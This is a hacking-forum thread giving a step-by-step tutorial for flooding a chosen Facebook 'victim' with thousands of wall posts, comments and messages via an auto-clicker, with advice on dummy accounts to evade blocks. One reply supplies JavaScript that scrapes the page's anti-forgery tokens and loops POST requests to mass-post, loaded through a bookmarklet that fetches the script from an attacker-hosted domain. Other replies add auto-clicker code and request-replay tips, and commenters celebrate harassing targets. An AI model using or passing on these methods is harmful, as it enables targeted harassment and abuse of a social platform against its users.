Thread: [\[TuT\] How to Flood Facebook Wallpost/Comment/Message \[With Pictures\] \[Noob Friendly\] \(Facebook Flooding\)](#)

The Trojan Horse - December 21, 2010, 10:58 am

Hi guys. I want to show you my tutorial on how to Flood Wallposts, Comments and Message in Facebook.

Spoiler ([Click to View](#))NOTES:

- 1) This is my 1st Tutorial so please don't flame.. ?
- 2) I'm not that good in English but I will do my best to make this tutorial understandable ?
- 3) In this method, you need to add your victim as a friend or else you will not be able to Post on his wall, Comment and Message him.
- 4) By doing this method, Facebook can block you from posting comments and wallposts, so I suggest use a dummy account or use this with care and limitation. :D

THINGS WE NEED: 1) A Facebook Account and a Victim (of course)

2) Auto-Clicker (In this tutorial we will use Auto Clicker v2.2 by Shocker)

Download: You can download it at the [Official Site](#)

Virus Scan Report: ([Click to View](#))

3) The most important is BRAIN and COMMON SENSE ??

INSTRUCTIONS: 1) Login to your Facebook account. Then after logging in, open another tab/window then go to "m.facebook.com" (without quotes)

Picture [\(Click to View\)](#)

2) Go to friends, then type your victim's name then click Search. Now go to your victim's profile.

Picture [\(Click to View\)](#)

3) Now for the third step, I will cut this into 3 parts, Wallpost Flood, Comment Flood and Messaging Flood.

-Wallpost Flood-

1) Open Auto Clicker. Change the "Number of Clicks" to "9999". NOTE: Leave all the settings as it is except the "Number of Clicks".

Picture [\(Click to View\)](#)

2) Put your comment on the textbox. Then press F2. NOTE: Don't put your cursor on the "Post" button yet. Just place it in a blank space. Now after pressing F2, you will see the countdown of the Auto-Clicker at your taskbar.*see picture.

3) Now after you saw the progress of click at the taskbar (see picture) place your cursor on the "Post" button.

4) Now leave your cursor on the "Post" button while the Auto-Clicker runs. Leave it for at least a minute.

5) Finished. You've just flooded his Wall.

-Comment Flood-

NOTE: In this tutorial we will Comment Flood a profile picture. But you can also use Comment Flooding in Wallposts and other posts/pics/vids that can be commented on. Just use your common sense on how to do it. ?

1) Open Auto Clicker. Change the "Number of Clicks" to "9999". NOTE: Leave all the settings as it is except the "Number of Clicks".

Picture [\(Click to View\)](#)[WARNING: Potential SPAM or INFECTED LINK PHOTO](#)

2) Click your victim's profile picture.

Picture [\(Click to View\)](#)[WARNING: Potential SPAM or INFECTED LINK PHOTO](#)

3) Pick a photo you want to comment on. (You can use Next and Previous Button to Navigate to his other Profile Pics.)

4) Put your comment on the textbox. Then press F2. NOTE: Don't put your cursor on the "Comment" button yet. Just place it in a blank space. Now after pressing F2, you will see the countdown of the Auto-Clicker at your taskbar.*see picture.

5) Now after you saw the progress of click at the taskbar (see picture) place your cursor on the "Comment" button.

6) Now leave your cursor on the "Comment" button while the Auto-Clicker runs. Leave it for atleast a minute.

7) Finished. You've just comment flooded a profile picture of your victim :))

-Message Flood-

1) Open Auto Clicker. Change the "Number of Clicks" to "9999". NOTE: Leave all the settings as it is except the "Number of Clicks".

Picture [\(Click to View\)CLICK TO VIEW PHOTO](#)

2) Click "Messages" beside his profile picture.

Picture [\(Click to View\)CLICK TO VIEW PHOTO](#)

3) Put anything in the "Subject" and "Body Message".

Picture [\(Click to View\)CLICK TO VIEW PHOTO](#)

4) Then press F2. NOTE: Don't put your cursor on the "Send" button yet. Just place it in a blank space. Now after pressing F2, you will see the countdown of the Auto-Clicker at your taskbar.*see picture.

5) Now after you saw the progress of click at the taskbar (see picture) place your cursor on the "Send" button.

6) Now leave your cursor on the "Send" button while the Auto-Clicker runs. Leave it for atleast a minute.

7) Finished! You've just flooded an Inbox of your victim.

FINISHED If you noticed, they are all the same concept on how to flood. I've just cut it into 3 parts to make your life easier If you're planning to use a specific flood. Hope you liked my tutorial. Thank you for reading!

PLEASE DON'T LEECH MY TUTORIAL. ?

Really nice tutorial, very detailed, a lot of pictures, a virus scan ... All is perfect but I don't understand why the Autoclicker is detected.

My first program was an autoclicker and it wasn't detected.

Can you just explain ?

Very good tutorial by the way.

Very good tutorial by the way.

Thanks. The auto-clicker is not mine. Here's what Shocker says at this site.

Shocker Wrote:(07-May-2008): IMPORTANT: AutoClicker IS NOT VIRUS INFECTED !

After reading some comments here and from other websites / forums about AutoClicker being infected (trojan droppers) I have decided to contact the major antivirus software companies to get this problem solved.

I don't know why but it seems that the "AutoClicker by Shocker" / "www.ShockingSoft.com" strings/labels from the executable were causing false virus detections.

Here are the virus scan results for today, with all AV software virus signatures updated:
[Scanned at www.virustotal.com](http://www.virustotal.com) at 10:37 (CET) / 08:37 (GMT), 11-Jan-2010

(08-Sep-2008): I have sent an email to the guys at Kaspersky and Avast, here are their replies stating that AutoClicker.exe is not virus infected:

[Reply from Kaspersky Labs](#) (09/05/2008)

[Reply from Avast!](#) (09/06/2008)

[Reply from Avira AntiVir](#) (01/21/2010)

[Reply from AVG](#) (02/08/2010)

I also don't know why his Auto Clicker is detected. But I trust him so I used it. Well I tried it on mine and there's no problem in it. Run sandboxed and its fine. ?

Valour - December 21, 2010, 11:30 am

OMG ..Awesome work ..man ! :P ... It was totally a lot of fun doing it from my Fake profile
lol lol ...thanks a lot. .

EDIT * LOL won the Click challenge by using this XD hehehe

I think there's a more efficient program that already exists, facebook blaster was it?

Either way there's no need to simulate mouse clicks, just slows the process down ;\ . There should be a way to do this solely through packeting.

masoom55 - February 5, 2011, 1:16 pm
Best detailed tutorial I have seen so far on flooding facebook walls

Vanilla Godzilla - May 21, 2011, 4:22 pm

Make a javascript document and add this code to it:

```
Code var a = document.body.innerHTML;
```

```
var Num = prompt("", "Number of times to Post");
```

```
formx = a.match(/name="post_form_id" value="([\d\w]+)"/)[1];
```

```
dts = a.match(/name="fb_dtsg" value="([\^"]+)"/)[1];
```

```
composerid = a.match(/name="xhpc_composerid" value="([\^"]+)"/)[1];
```

```
var msg = prompt("", "Message Here");
```

```
target = a.match(/name="targetid" value="([\^"]+)"/)[1];
```

```
pst = "post_form_id=" + formx + "&fb_dtsg=" + dts + "&xhpc_composerid=" + composerid +  
"&xhpc_targetid=" + target+ "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" +  
encodeURIComponent(msg) + "&xhpc_message=" +
```

```
encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[fri  
ends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_com  
poser&lscd&post_form_id_source=AsyncRequest";
```

```
i=0;
```

```
while(i < Num){
```

```
    with(newx = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),  
    setRequestHeader("Content-Type", "application/x-www-form-urlencoded") , send(pst);
```

```
    i += 1;
```

```
}
```

Host that javascript document.

Then from your friends wall or a fanpage you have "liked" post this javascript into the address bar:
Code

```
javascript:(a=(b=document).createElement('script')).src='//yourdomain.info/f.js',b.body.appendChild(  
a);void(0)
```

Where f.js is will be the path to that javascript you uploaded.

Have fun!

This worked great for me a while ago, but I don't remember if I thanked you or not. Either way this is a great method, and the auto clicker is clean as far as I can see.

SIM-947411 - November 8, 2011, 3:29 am

Really nice tutorial, very detailed, a lot of pictures, a virus scan ... All is perfect but I don't understand why the Autoclicker is detected.

My first program was an autoclicker and it wasn't detected.

Can you just explain ?

Very good tutorial by the way.

docke123 - November 8, 2011, 5:22 am

This is tutorial with all explanation and all stuff that you need.

~Chester~ - November 8, 2011, 11:35 am

wow lol that's awesome tut, thanks don't give up. waiting for others

Retronet - April 12, 2012, 6:26 am

It doesn't work anymore... Damnn :s

coolguy4 - April 12, 2012, 11:43 am

thanks it works but when i try to spam my victim, i type something on his wall and run the autoclicker but he only gets 1 notification

because i cant send more then one post unless i type it 9999 times,

Ferragamo - April 12, 2012, 12:01 pm

It doesn't seem to be working now. After you turn the clicker on, only of of the "9999" messages appear. This is a very detailed tutorial though.

Zarbuz - April 14, 2012, 12:38 am

hey , can i have the 2.2 version ? there is 3..

RelationShit - December 10, 2012, 2:31 pm

Making an autoclicker in VB (8) .net is a few secs work guys

Code Private Declare Sub mouse_event lib "user32" (Byval dwflags as long, Byval dx as long, Byval dy as long, Byval cbuttons as long, Byval dwExtraInfo as long)

Private Const lolup = 4

Private Const loldown = 2

And the timer (make a button to make it start, Timer1.Enabled = true) :

Code Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Timer1.Tick

mouse_event(loldown, 0, 0, 0, 0)

mouse_event(lolup, 0, 0, 0, 0)

End Sub

And also add hotkeys (64bits only):

Code Private Declare Function GetAsyncKeyState Lib "user32" (ByVal Keys As Long) As Short
if you're 32bits try "As Integer" at the last, instead of As Short

(put the hotkey check in a timer, with like 100ms, on ON,

Code If GetAsyncKeyState(Keys.NumPad1) Then

Timer1.Enabled = True

End If

If GetAsyncKeyState(Keys.NumPad2) Then

Timer1.Enabled = False

End If

ok enough offtopic

ONTOPIC: guys, why doesn't this get you "banned" from posting/commenting?

Is the mobile version unsecured to this?

@normal facebook.com you get banned for abuse..

Interpret - December 10, 2012, 5:39 pm

loool, this is gonna be so much fun, thank you!

nazmi - December 14, 2012, 9:34 pm

thank you thank you thank you thank you!

RelationShit - December 15, 2012, 4:28 am

Using charles debugger is smarter..

You can let it repeat the ACTION (POST) done easier, lets say: "REPEAT - 50 times" "5x per per time"

Or you can even let it make 100 comments per post, / repeat ;)

Hackist1028 - December 15, 2012, 4:29 am

nice bro, keep posting good stuff

:)

greenchair4 - February 4, 2013, 12:26 am

From a newbie noob, thanks so much. I only managed to get 5 posts on my slave with version 3, however it was enough for them to block me for spam. haha. All good :) Thanks so much for this little nugget. Keep up the great work my friend.
